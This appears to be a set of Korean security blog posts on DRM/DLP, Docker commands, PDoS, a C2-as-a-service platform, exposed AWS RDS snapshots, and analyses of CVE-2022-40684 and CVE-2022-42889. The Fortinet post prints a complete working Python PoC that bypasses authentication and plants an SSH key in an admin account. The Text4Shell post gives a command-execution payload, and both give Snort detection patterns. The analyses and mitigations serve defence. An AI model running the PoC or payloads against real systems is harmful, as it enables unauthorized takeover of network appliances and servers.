1. DRM

- Digital Rights Management

- 내부 데이터를 보호하기 위해 만들어진 솔루션

- 디지털 콘텐츠의 저작권을 보호 및 관리하는 기술 (저작물의 유출 및 도용을 방지하고 저작권을 보호)

- 디지털 콘텐츠 : 문자, 음성, 음향, 이미지, 영상 등의 콘텐츠를 디지털의 형식으로 제작한것

- 내부에서 작성하고 만든 문서와 파일 등 모든 데이터들을 "잠금" 설정을 해서 회사 이외에서의 접근을 막거나 제한하도록 하며 외부로의 유출을 막음

- 사내 PC들이 DRM 서버에 연동되어 있어 DRM 에이전트(Agent)를 통해 데이터에 접근 및 수정 등 수행

 

1.1 장점

① 암호화

- 문서, 이미지 등을 생성한 후 저장할 때마다 실시간 암호화되어 잠금 설정 > 외부에서 데이터 확인 불가

- 암호화 해지를 위해 해지 요청을 보내 확인을 받아야 함 > 데이터 유출 시 최초 유출자 식별 가능

 

② 출력물 보안

- 문서를 출력할 경우 워터마킹(기업 로고, 작성자, IP 등)이 출력 > 워터마킹으로 최초 유출자 식별 가능

 

③ 융퉁성(확장성)

- 협력 기업과의의 업무협업이 필요한 경우 DRM 솔루션의 협업 기능을 이용 > 일일이 문서 암호화 해지 요청 불필요

- 재택, 원격 접속 등에도 솔루션 연동 가능

 

④ 로깅

- 문서나 파일 생성, 수정, 저장, 출력 등 접근이력이 로그로 남음

- 로그기록을 활용해 통계 생성 간편

 

1.2 단점

① 번거로움

- 문서나 데이터 반출을 위해 해지 요청을 보내고 승인을 받을 필요 > 번거로움 및 시간 소요 有

 

② 업데이트

- PC에 DRM 에이전트를 설치하여 DRM 서버와 통신 > DRM 솔루션 업데이트 必

 

2. DLP

- Data Loss Prevention

- 내부 데이터를 보호하기 위해 만들어진 솔루션

- 데이터 손실을 방지해 주는 기술

- 데이터의 흐름 즉, 데이터 이동경로를 감시하여 기업 내부의 중요 정보와 데이터 유출을 감시하고 기록

- 데이터 이동경로를 감시 중에 유출이 감지되었을 땐 이를 경고 혹은 차단하면서 데이터를 보호

 

2.1 장점

① 편리성

- 데이터의 흐름을 감시 > 사용자에게 투명하게 제공

- 외부로 데이터를 전송하여도 DLP에서 데이터 내에 주요 정보가 포함된 경우 차단

 

② 출력물 보안

- DRM과 마찬가지로 문서 출력 시 IP 등의 기록을 남김 > 최초 유출자 식별 가능

 

③ 로깅

- 데이터나 파일 등이 유통되는 과정을 기록

- 정책 위반에 대한 즉각적인 리포트를 받을 수 있음

 

2.2 단점

① 유출 정보에 대한 보호 불가

- DLP는 데이터의 흐름을 감시하고 차단 > 해당 경로가 뚫려버리면 데이터를 보호할 수 없음

- 유출된 정보와 데이터는 외부자가 즉시 확인 및 수정이 가능

 

② 우회 가능

- 데이터의 흐름만을 차단 > 다수 우회 경로로 접근 가능

 

③ 원격근무 시 보안기능 상실

- DLP는 기업 내부 시스템을 통제/관리하는 형태

 

3. 비교

DRM 구분 DLP
각 문서 단위로 권한 제어 동작 형식 데이터 분류 및 흐름 감시
문서 생성자가 적절한 권한을 부여 후 소멸 까지 적용 적용 개요 데이터 흐름을 감시하여 데이터 유출 감시 및 차단
기존 Office Application 업무 환경 방식에 변화를 주어 영향을 준다. 종속성 벤더 및 어플리케이션 중립적이므로 다양한 컨텐츠 감시 및 차단 가능
- 외부 유출 시에도 문서 보호
- 그룹웨어 등 커스터마이즈 가능
장점 - 사용자에 투명하게 동작
- 포괄적 보호로 다양한 유출 경로, 다양한 파일 형식 지원
- 내용 인식 및 추적이 가능
- 세분화 된 문서, 정보 암호화 
- 잠금해지요청기록으로 유출자 색출
- 워터마킹으로 저작권 및 정보보호
보안성 - 큰 영역 암호화 하나 유출된 정보는 보호가 불가능하다.
- 통로에 주요 정보가 있을 시 차단
- 내부 우회로 유출이 가능
- 편의성이 떨어지지만 안전성이 높다
- 문서 생성 및 저장 시 기록된다
- 협업 시 다양한 DRM 솔루션들로 근무 환경 개선한다.
효율성 - 편의성이 있다
- 보안 정책 위반에 대해 즉각적인 리포트
- 경로 확인가능
- PC DRM Agent 로그인 시 별도 작업 없이 실시간으로 잠금
편리성 - 경로 확인 가능
- 업무와 무관한 사이트 제어

 

'보안 장비 > 기본' 카테고리의 다른 글

이중화구성  (0) 2022.08.19
IPS #1  (0) 2022.07.28
IDS #1  (0) 2022.07.27
방화벽 #1  (0) 2022.07.08

1. 기본 구조

$ docker 커맨드 [옵션] 대상 [인자]

- 커맨드는 상위 커맨드(무엇을)와 하위 커맨드(어떻게)로 나뉨

- 옵션은 커맨드의 세세한 설정을 지정

- 대상은 구체적인 이름을 지정

- 인자는 대상에 전달할 값을 지정

[사진 1] 도커 라이프사이클

 

2. 컨테이너 조작 관련 커맨드 (상위 커맨드 container)

- 컨테이너를 실행하거나 종료하고, 목록을 확인하는 등 컨테이너를 다루기 위해 사용

- 생략 가능 커맨드는 "docker 하위 커맨드"로 실행 가능

- ls의 생략형은 ps (예시 : docker ps -a)

하위 커맨드 내용 생략 가능 여부 주요 옵션 설명
start 컨테이너 실행 O -a STDOUT/STDERR 및 순방향 신호 연결
-i 컨테이너의 STDIN 연결
stop 컨테이너 중지
컨테이너를 삭제하려면 반드시 중지해야함
O - -
create 도커 이미지로부터 컨테이너 생성 O --name 컨테이너 이름 지정
-e 환경변수 설정
-p 포트 번호 지정
-v 볼륨 마운트
run 도커 이미지를 내려받고 컨테이너를 생성 실행
docker image pull, docker contauner create, docker container start 명령을 하나로 합친 것과 같음
O --name --name 컨테이너 이름
컨테이너 이름 지정
-p -p 호스트 포트번호:컨테이너 포트번호
포트번호 지정
-v -v 호스트 디스크:컨테이너 디렉터리
볼륨 마운트
--net --net 네트워크 이름
컨테이너를 네트워크에 연결
-e -e 환경변수 이름=값
환경변수 설정
-d 백그라운드 실행
-i 컨테이너에 터미널(키보드)을 연결
-t 특수 키를 사용 가능하도록 함
-help 사용 방법 안내
rm 정지 상태의 컨테이너 삭제 O -f 실행 중인 컨테이너 강제 제거(SIGKILL 사용)
-v 컨테이너와 연결된 익명 볼륨 제거
exec 실행중인 컨테이너 속에서 프로그램을 실행 O -i 컨테이너에 터미널(키보드)을 연결
-t 유사 TTY 할당
ls 컨테이너 목록 출력 O -a 모든 컨테이너 목록 출력
CONTAINER ID : 식별자
IMAGE : 컨테이너 생성 시 사용한 이미지 이름
COMMAND : 컨테이너 실행 시에 실행하도록 설정된 프로그램 이름
CREATED : 컨테이너 생성 후 경과 시간
STATUS : 컨테이너의 현재 상태
PORTS : 컨테이너에 할당된 포트
NAMES : 컨테이너 이름
cp 도커 컨테이너와 도커 호스트 간 파일 복사 O - -
commit 도커 컨테이너를 이미지로 변환 O - -

 

3. 이미지 조작 관련 커맨드 (상위 커맨드 image)

- 이미지를 내려받거나 검색하는 등 이미지와 관련된 기능을 실행

- 생략 가능 커맨드는 "docker 하위 커맨드"로 실행 가능

- rm의 생략형은 rmi (예시 : docker rmi)

하위 커맨드 내용 생략 가능 여부  주요 옵션 설명
pull 이미지 내려 받기 O - -
rm 이미지 삭제 O - -
ls 이미지의 목록 출력 X - -
build 이미지 생성 O -t 이름 및 선택적으로 'name:tag' 형식의 태그

 

4. 볼륨 조작 관련 커맨드 (상위 커맨드 volume)

- 볼륨 생성, 목록 확인, 삭제 등 볼륨과 관련된 기능을 실행

- 볼륨이란 컨테이너에 마운트 가능한 스토리지를 뜻함

하위 커맨드 내용 생략 가능 여부 주요 옵션  설명
create 볼륨 생성 X --name 볼륨 이름 지정
inspect 볼륨의 상세 정보 출력 X - -
ls 볼륨의 목록 출력 X -a 모든 볼륨 목록 출력
prune 현재 마운트되지 않은 볼륨 모두 삭제 X - -
rm 지정한 볼륨 삭제 X - -

 

5. 네트워크 조작 관련 커맨드 (상위 커맨드 network)

- 도커 네트워크의 생성, 삭제, 컨테이너의 네트워크 접속 및 접속 해제 등 도커 네트워크와 관련된 기능을 실행

- 도커 네트워크란 도커 요소간의 통신에 사용하는 가상 네트워크

하위 커맨드 내용 생략 가능 여부 주요 옵션  설명
connect 컨테이너를 도커 네트워크에 연결 X - -
disconnect 컨테너의 도커 네트워크 연결 해제 X - -
create 도커 네트워크 생성 X - -
inspect 도커 네트워크의 상세 정보 출력 X - -
ls 도커 네트워크의 목록 출력 X - -
prune 현재 컨테이너가 접속하지 않은 모든 네트워크 삭제 X - -
rm 지정한 네트워크 삭제 X - -

 

6. 그 밖의 상위 커맨드

상위 커맨드 내용
checkpoint 현재 상태를 일시적으로 저장한 후, 나중에 해당 시점의 상태로 되돌릴 수 있음
node 도커 스웜의 노드를 관리
plugin 플러그인을 관리
secret 도커 스웜의 비밀값 정보를 관리
service 도커 스웜의 서비스를 관리
stack 도커 스웜 또는 쿠버네티스에서 여러 개의 서비스를 합쳐 구성한 스택을 관리
swarm 도커 스웜을 관리
system 도커 엔진의 정보를 확인

 

7. 단독으로 쓰이는 커맨드

- 도커 허브의 검색이나 로그인에 사용되는 커맨드

단독 커맨드 내용 주요 옵션 설명
login 도커 레지스트리에 로그인 -u 계졍명
-p 패스워드
logout 도커 레지스트리에서 로그아웃 - -
search 도커 레지스트리 검색 - -
version 도커 엔진 및 명령행 도구의 버전 출력 - -

 

8. 참고

 

Docker run reference

 

docs.docker.com

 

'기타 > 도커' 카테고리의 다른 글

도커(Docker)란  (0) 2022.11.15

1. Fortinet

- 보안 솔루션을 개발 및 판매하는 다국적 기업

 

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

www.fortinet.com

 

2. CVE-2022-40684

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-40684

- 취햑한 버전의 Fortinet 제품 Fortinet FortiOS, FortiProxy, FortiSwitchManager에서 조작된 HTTP/HTTPS 요청을 통해 발생하는 인증 우회 취약점 (CVSS 9.8점)

- FortiOS : Fortigate 방화벽 및 스위치와 같은 하드웨어에서 사용되는 Fortinet의 리눅스 기반 운영 체제
- FortiProxy : 여러 가지 탐지 기술(웹 필터링, DNS 필터링, 데이터 손실 방지, 안티바이러스, 침입 방지 및 지능형 위협 보호)을 통합하여 인터넷에서 발생하는 공격으로부터 보호하는 웹 프록시
- FortiSwitchManager : FortiSwitch 템플릿과 VLAN을 중앙에서 관리하고 FortiGate 장치에 연결된 FortiSwitch 장치를 모니터링
취약 버전
① FortiOS : 7.2.0 ~ 7.2.1 및 7.0.0 ~ 7.0.6
② FortiProxy : 7.2.0 및 버전 7.0.0 ~ 7.0.6
③ FortiSwitchManager : 7.0.0 및 7.2.0
* FortiOS version 5.x, 6.x는 영향받지 않음

 

2.1 공격 원리

- 먼저 GET 요청을 통해 Fortinet 어플라이언스가 있는지 확인

[사진 2] GET 요청 예시

 

- Fortinet 어플라이언스 존재 시(취약한 서버 확인 시) PUT 요청을 통해 admin의 SSH 키를 자신의 키로 수정

- 이때, User-Agent 헤더와 Forwarded헤더를 조작

[사진 3] PUT 요청 예시

 

- 공격자의 접근을 위한 로컬 사용자 추가

 

2.2 취약점 분석

- 전달된 헤더를 구문 분석하고 for 및 by 필드를 추출하여 Apache request_rec 구조에 연결

[사진 4] 헤더 구문 분석

- vdom 소켓 옵션이 신뢰할 수 있는지 확인하는 api_check_access_for_trusted_source 함수를 사용하지만 그 다음 is_trusted_ip_and_user_agent 함수로 넘어감.

[사진 5] api_check_access

 

- client_ip가 "127.0.01"이고 User-Agent 헤더가 두 번째 매개변수와 일치하는지 확인하는 함수

- 이 함수는 "Node.js"와 "Report Runner"의 두 가지 가능한 매개변수로 호출

- "Node.js" 경로는 추가 유효성 검사를 수행하는 것처럼 보이지만 "Report Runner"를 사용하면 인증을 우회하고 API 요청을 수행할 수 있음

[사진 6] is_trusted_ip_and_user_agent

 

2.3 PoC 분석

#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


HEADERS = {
    'User-Agent': 'Report Runner',
    'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}

def format_key(key_file):
    with open(key_file) as f:
        k = f.read().strip()

    return(k)


def add_key(target, username, key_file):
    key = format_key(key_file)
    j = {
        "ssh-public-key1": '\"' + key + '\"'
    }
    url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
    r = requests.put(url, headers=HEADERS, json=j, verify=False)
    if 'SSH key is good' not in r.text:
        print(f'[-] {target} is not vulnerable!')
    else:
        print(f'[+] SSH key for {username} added successfully!')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
    parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
    args = parser.parse_args()

    add_key(args.target, args.username, args.key_file)

- PoC를 확인해보면 다음을 확인해 볼 수 있음

① /api/v2/cmdb/system/admin URL로 요청이 이루어짐 : Fortinet 어플라이언스 여부 확인

② is_trusted_ip_and_user_agent 함수를 우회하기 위해 헤더값 조작 : Fowarded 헤더를 사용하여 공격자는 client_ip 를 "127.0.0.1" 및 User-Agent 가 "Report Runner" 설정

 

3. 대응방안

3.1 서버측면

① 최신 업데이트 적용

- FortiOS : 7.2.2 또는 7.0.7
- FortiProxy : 7.2.1 또는 7.0.7
- FortiSwitchManager : 7.2.1

- FG6000F, 7000E/F 시리즈 플랫폼의 경우 FortiOS 버전 7.0.5 B8001로 업데이트

 

② 즉시 보안 업데이트가 어려운 제품 사용자

- HTTP/HTTPS 관리 인터페이스 비활성화

- 관리 인터페이스에 도달할 수 있는 IP 제한 등 임시 조치를 권고

- 이 후 최신 버전으로 업데이트 필요

 

3.2 네트워크 측면

① PoC를 토대로 "/api/v2/cmdb/system/admin", "User-Agent: Report Runner", "127.0.0.1" 문자열이 포함된 경우 탐지하는 패턴을 등록함

alert tcp any any -> any any (msg:"Fortinet_Auth Bypass_Detected"; content:"/api/v2/cmdb/system/admin"; content:"|20|HTTP/"; content:"|0d 0a|User-Agent|3a| Report Runner"; content:"127.0.0.1";)

 

3.3 공통

① 로그 모니터링

- 해당 취약점에 노출되었는지 확인

- 장치 로그에서 user=" Local_Process_Access", user_interface=" Node.js" 또는 user_interface=" Report Runner" 확인 

 

4. 참조

https://nvd.nist.gov/vuln/detail/CVE-2022-40684

https://www.fortiguard.com/psirt/FG-IR-22-377

https://github.com/horizon3ai/CVE-2022-40684

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66965&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMjItNDA2ODQ= 

개요 - 비밀번호 : 네트워크, 장비, 계정 등 수많은 필수 요소들을 1차적으로 보호
- 많은 IT와 보안 전문가들은 이 비밀번호를 다른 것으로 대체해야 한다고 계속해서 주장
- 비밀번호 없는 세상이 더 안전하고 더 편리하며 더 나은 경험을 제공할 것이라고 예언
내용 - 애플, 구글, MS 등에서 브라우저, 플랫폼, OS들에 FIDO 패스키 기반 인증 시스템을 도입할 것이라 천명
- 비밀번호를 제거한다고 했을 때의 장점은 비밀번호와 관련된 사이버 공격이 줄어든다는 것
- 패스키라는 게 비밀번호를 완전히 대체하기 위해 고안된 것이지만, 생체 인증을 비롯해 다른 여러 가지 인증 기술들과 같이 사용되어야 하므로 협업과 노력이 필요

- 비밀번호가 예전처럼 주력 인증 수단이 아니라 예비 인증 수단 혹은 특수한 경우의 인증 수단으로서 한 발 물러나고 있지, 아예 죽어 없어지는 건 아니라는 뜻
- 즉, 비밀번호가 예전만큼 눈에 띄는 존재가 아니게 되는 것
ex) 장비나 데이터를 복구할 때, 혹은 예비 인증 수단, 모바일 폰을 켤 때 4자리 수 핀번호 등

- 비밀번호가 사라지는 게 아니라는 비밀번호 관리 프로그램의 사용량이 증가한다는 것
- 비밀번호의 대체제들이 본격적으로 자리를 잡는 건 2~5년 이후의 일일 것이라고 예측

- 준비사항
① 조직이 소비자들에게 제공하는 서비스들 중 비밀번호를 필요로 하는 게 무엇인지, 그리고 조직이 다른 곳에서 제공받는 서비스들 중 비밀번호로 필요로 하는 게 무엇인지를 파악이 선행
② 임직원들이 회사의 승인 없이 사용해 오던 여러 가지 서비스들이 무엇인지도 전부 알아내야 함
③ 기업 내 각 구성원들의 생각을 파악 및 교육, 훈련 - 비밀번호 없는 체제를 완성시킨다 하더라도 구성원들의 행동 패턴들이 다 제각각이 될 것
비고 - 비밀번호를 사용자가 어렵게 만들고 기억하지 않아도 된다는 점에서 비밀번호가 아닌 다른 인증 수단을 주력으로 사용한다는 것에 장점
- 비밀번호 관리는 일반 직원들에게 적잖은 스트레스의 근원
- 비밀번호를 없앤다고 인증과 관련된 모든 위협들이 사라진다고 생각하면 오산
- 비밀번호가 없는 시대가 오더라도, 그 시대에 맞는 위협들이 새로 발명될 것

 

보안뉴스

 

비밀번호가 사라진 시대를 준비하기

현대 사회에서의 삶을 영위하는 데 있어 비밀번호가 차지하는 비중은 결코 낮다고 할 수 없다. 네트워크, 장비, 계정 등 수많은 필수 요소들을 1차적으로 보호하는 게 바로 비밀번호이기 때문이

www.boannews.com

1. 개요

- 지속 가능한 서비스 거부공격으로 “플래슁(Phlashing)”이라고도 부름

- 2008년 6월 휴렛패커드(HP)의 시스템보안 연구소장인 Rich Smith가 2008.06월에 유럽 공동체의 보안회의(EUSecWest Security Conference)에서 최초 시연

 

2. PDoS (Permanent Denial Of Service)

- 네트워크를 기반으로 하는 펌웨어(Firmware)를 원격 업데이트시킬 때 그 안에 악성 소프트웨어를 삽입시켜서 목표 시스템을 다운시키는 서비스거부 공격방법

펌웨어
- 프린터, 모뎀, 핸드폰, MP3 등의 각종 기기에 내장되어 있는 PROM(Programmable ROM) 내에 삽입되어 영구적으로 컴퓨터 장치의 일부가 되는 프로그램
- 기기의 성능 향상을 위하여 수시로 업데이트 수행

- PC부터 펌웨어를 사용하는 모든 기기들이 공격 대상

- 감염시킨 후 정보를 빼내거나 기기를 사용하지 못하도록 파괴시키는 목적으로 제작

- 시스템 전반에 위협을 가하는 보편성은 적으나 그동안 무방비 상태로 방치했거나 무관심 해왔던 펌웨어의 취약성에 대한 새로운 형태의 위협

- 삽입되는 악성 소프트웨어는 삽입 후 목표 시스템을 즉각 다운시키는 것과 논리 폭탄(Logic Bomb)처럼 잠복시켜서 범행자가 원하는 시기에 원하는 방법으로 서비스를 거부하는 2가지가 존재

 

3. DDoS와의 차이

3.1 DDoS

- 다수의 좀비 PC로 특정 타겟을 공격해 서버에 부하를 발생시켜 정상적 서비스를 제공하지 못하도록 함

- 핑(Ping) 메시지 등을 대량으로 송신하여 목표 시스템에 버퍼 오버플로우(Buffer Overflow) 상태를 일으켜서 시스템을 다운시키거나 많은 좀비 컴퓨터를 이용하여 목표 시스템을 집중 공격함으로써 시스템을 다운시키는 형태가 대표적

- 서비스 거부 상태를 발생시키려는 목적

 

3.2 PDoS

- 서비스 거부공격뿐 아니라 공격 대상 기기를 사용할 수 없도록 파괴하는 기능도 존재

- 서버를 공격하는 것이 아니라 각종 기기의 펌웨어에 악성 소프트웨어를 삽입시켜서 서비스 거부를 유발

- 정보를 탈취하거나 상대방의 기기를 사용 불능케 하려는 목적 및 기반시설을 파괴하는 등의 사이버 전쟁을 목표

 

- 따라서, PDoS는 DDoS 보다 공격 대상과 파괴력이 더욱 광범위

 

4. 대응

- 전자서명 등 무결성이 증명된 업데이트 적용 및 불분명한 출처에서 파일 다운 지양

- 공격에 노츨되었을 경우 펌웨어를 수정하려는 노력보다 ROM 자체를 교체하는 것이 시간적 비용적으로 빠를 수 있음

1. Apache Commons Tex

- 일종의 라이브러리로, 표준 자바 개발 키트(JDK)에 포함되어 텍스트 처리 기능을 강화 즉, 문자열에서 작동하는 알고리즘에 중점을 둔 라이브러리

- 현재 이 라이브러리를 활용하고 있는 프로젝트는 2588개

 

Commons Text – Home

Commons Text Apache Commons Text is a library focused on algorithms working on strings. Documentation We provide documentation in the form of a User Guide, Javadoc, and Project Reports. The Git repository can be browsed, or you can browse/contribute via Gi

commons.apache.org

 

2. CVE-2022-42889

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-42889

- Apache Commons Text 1.5.0 ~ 1.9.0에서 RCE가 가능한 취약점 (CVSS 9.8점)

- 취약한 버전의 변수 보간법을 수행하는 org.apache.commons.text.lookup.StringLookup에서 입력값에 대한 적절한 검증 없이 API를 사용하여 발생하는 취약점

변수 보간법
- 형식 : ${prefix:name}
- 여러 줄 문자열에 대해 연결 또는 이스케이프 문자를 사용하지 않고 변수, 함수 호출 및 산술 표현식을 문자열에 직접 삽입 할 수있는 기능
- 즉, 변수에 해당되는 값을 유동적으로 String에 넣을 수 있음

 

2.1 취약점 상세

- 취약한 서버 구동

$ git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker
$ cd cve-2022-42889-text4shell-docker
$ mvn clean install
$ docker build --tag=text4shell .
$ docker run -p 80:8080 text4shell

[사진 2] 취약 서버 구동

- 서버 구동 후 정상 접근 확인

[사진 3] 로컬 접근(위) 및 외부 접근(아래)

- 피해 시스템의 tmp 디렉터리 내용 확인

[사진 4] 피해 시스템 /tmp 파일 내용 확인

- search 파라미터에 아래 값을 URL로 한번 인코딩 후 Exploit

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

[사진 5] Exploit

 

- 이후 피해 시스템에서 tmp 디렉터리 내용을 확인해 보면 foo 파일이 생성된 것을 확인할 수 있음

[사진 6] foo 파일 생성

 

- 해당 패킷을 와이어샤크로 확인해보면 다음과 같음

[사진 7] 와이어샤크 패킷 확인

- 또한, 리버스쉘 생성 가능

[사진 8] 리버스 쉘

 

2.2 취약점 분석

 

Apache Commons Text远程代码执行漏洞(CVE-2022-42889)分析 - admin-神风 - 博客园

漏洞介绍 根据apache官方给出的说明介绍到Apache Commons Text执行变量插值,允许动态评估和扩展属性的一款工具包,插值的标准格式是"${prefix:name}"

www.cnblogs.com

[사진 9] 함수 호출 흐름

 

- StringSubstitutor.replace() 메서드에서 요청에 대한 첫번째 조치 수행을 위해 Substitut() 메소드 호출

public String replace(final String source) {

    if (source == null) {

        return null;

    }

    final TextStringBuilder buf = new TextStringBuilder(source);

    if (!substitute(buf, 0, source.length())) {

        return source;

    }

    return buf.toString();

 

- Substitut() 메소드는 ${} 문자열 분석을 위해 resolveVariable() 메소드 호출

[사진 10] Substitut() 메소드

protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,

                                 final int endPos) {

    final StringLookup resolver = getStringLookup();

    if (resolver == null) {

        return null;

    }

    return resolver.lookup(variableName);

}

 

- resolveVariable() 메소드에서 얻은 StringLookup은 인스턴스화된 객체가 StringSubstitutor.createInterpolator()를 사용해 생성된 값임

- 그리고 생성자에서 this.setVariableResolver(variableResolver)를 호출하여 VariableResolver를 InterpolatorStringLookup 클래스로 설정한 후 계속해서 InterpolatorStringLookup의 lookup 메소드를 추적

- 해당 lookup 메소드는 ":" 앞의 스크립트 문자열을 가로채 이를 인덱스로 사용하여 해당하는 StringLookup 개체를 가져옴(지원하는 작업 유형은 18가지).

[사진 11] StringLookup 개체

@Override

public String lookup(String var) {

    if (var == null) {

        return null;

    }

 

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);

    if (prefixPos >= 0) {

        final String prefix = toKey(var.substring(0, prefixPos));

        final String name = var.substring(prefixPos + 1);

        final StringLookup lookup = stringLookupMap.get(prefix);

        String value = null;

        if (lookup != null) {

            value = lookup.lookup(name);

        }

 

        if (value != null) {

            return value;

        }

        var = var.substring(prefixPos + 1);

    }

    if (defaultStringLookup != null) {

        return defaultStringLookup.lookup(var);

    }

    return null;

}

 

- ScriptStringLookup.lookup() 메서드 호출

@Override

public String lookup(final String key) {

    if (key == null) {

        return null;

    }

    final String[] keys = key.split(SPLIT_STR, 2);

    final int keyLen = keys.length;

    if (keyLen != 2) {

        throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.",

                                               key);

    }

    final String engineName = keys[0];

    final String script = keys[1];

    try {

        final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);

        if (scriptEngine == null) {

            throw new IllegalArgumentException("No script engine named " + engineName);

        }

        return Objects.toString(scriptEngine.eval(script), null);

    } catch (final Exception e) {

        throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,

                                               script);

    }

}

 

- js 스크립트 엔진을 가져와서 ScriptEngine.eval 메소드를 통해 코드를 실행

[사진 12] 취약점 발생 지점

3. 대응방안

① 취약점이 패치된 버전으로 업데이트 적용

- 취약점 패치 버전 : Apache Commons Text 1.10.0

- 변수 보간기를 기본적으로 비활성화

[사진 13] Apache Commons Text 1.10.0의 변수 보간기 개체

② Snort 룰 적용 후 탐지 및 차단

- 현재 위험성이 확인된 보간기 개체를 content 값으로 적용

- ${script:
- ${url:UTF-8:
- ${dns:
- ${script:JEXL:
- %24%7Bscript%3A
- %24%7Burl%3AUTF-8%3A
- %24%7Bdns%3A
- %24%7Bscript%3AJEXL%3A

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-42889

https://commons.apache.org/proper/commons-text/security.html

https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66968&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9VEVYVA== 

 

'취약점 > 4Shell' 카테고리의 다른 글

Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14

1. 개요

- 2022년 08월경 새로운 범죄 서비스 발견

- 다크 유틸리티(Dark Utilities) : 사이버 공격을 할 때 사용되는 C2(Command & Control) 서버를 쉽게 준비해주는 서비스

- 다크 유틸리티는 2022년 초 확립된 C2aaS(C2-as-a-Service) 모델 C2 플랫폼

- 비용은 9.99유로이며 등록자수는 3,000명 정도로 예상

 

2. 기능

- 사용자 인증을 위해 Discord를 활용

- 인증 후 플랫폼, 서버 상태 및 기타 지표에 대한 다양한 통계를 표시하는 대시보드가 ​​사용자에게 제공

[사진 1] 대시보드 (출처 : https://blog.talosintelligence.com/dark-utilities/)

- 공격자는 개발 리소스를 할당하지 않고도 여러 아키텍처를 대상으로 할 수 있음

- 피해자 시스템에서 실행되는 코드로 이뤄진 페이로드를 제공

- 피해자 시스템을 서비스에 등록해 C2 통신 채널을 설정 (C2 서버 통신 채널 구현과 관련된 자세한 정보를 제공)

- Windows, Linux 및 Python 기반 페이로드를 지원

[사진 2] OS 및 Command 선택 (출처 : https://blog.talosintelligence.com/dark-utilities/)

- C2 서버를 통해 공격자가 외부에서 악성코드를 제어하고 명령을 내리며, 새 페이로드를 보내는 것은 물론 감염시킨 PC나 서버에서 수집된 데이터를 수신

- 원격 시스템 액세스, DDoS 기능, 암호화폐 채굴 등도 제공

 

3. 대응

① 보안 솔수션 도입

- Endpoint, FW, Email 등 보안 솔루션 후 모니터링

- Snort 정책 적용 : 적용할 수 있는 Snort SID는 60319 ~ 60325

 

② IoC 침해지표 활용

- 확인된 Hash 및 URL 등을 보안 솔루션에 적용하여 탐지 및 차단 적용

 

4. 참고

 

Attackers leveraging Dark Utilities "C2aaS" platform in malware campaigns

By Edmund Brumaghin, Azim Khodjibaev and Matt Thaxton, with contributions from Arnaud Zobec. Executive Summary * Dark Utilities, released in early 2022, is a platform that provides full-featured C2 capabilities to adversaries. * It is marketed as a means t

blog.talosintelligence.com

 

 

GitHub - Cisco-Talos/IOCs: Indicators of Compromise

Indicators of Compromise. Contribute to Cisco-Talos/IOCs development by creating an account on GitHub.

github.com

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
IoT Mirai 악성코드 분석  (0) 2022.11.11
요약 - 아마존의 클라우드 기반 데이터 백업 기능을 잘못 활용한 사용자들이, 자신도 모르게 개인정보(개인을 특정할 수 있을 만한 정보)를 인터넷에 노출시키는 중
내용 - ‘서비스형 플랫폼(Platform-as-a-Service)’인 아마존 RDS 서비스의 RDS 스냅샷(RDS Snapshot) 기능
- RDS : MySQL, PostgreSQL 등과 같은 여러 가지 엔진들을 기반으로 한 데이터베이스를 제공
- RDS 스냅샷(RDS Snapshot)
① 데이터베이스 인스턴스의 스토리지 볼륨 스냅샷을 남기는 기능으로, 사용자들은 이 기능을 통해 전체 공개 데이터나 템플릿 데이터베이스를 애플리케이션으로 전송해 공유
② 역할이나 권한과 상관없이 편리하게 데이터를 주고 받는 데에 초점이 맞춰진 기능

- RDS 스냅샷들에서 개인 식별 정보가 발견되고 있으며, 그런 상태에서 ‘전체 공개’로 설정된 케이스가 발견
- 전체 : 2,783개 중 한달 공개 : 810개, 1~2일 공개 : 1,859개

- 클라우드 생태계의 가장 취약한 부분이 사람임을 다시 한 번 증명
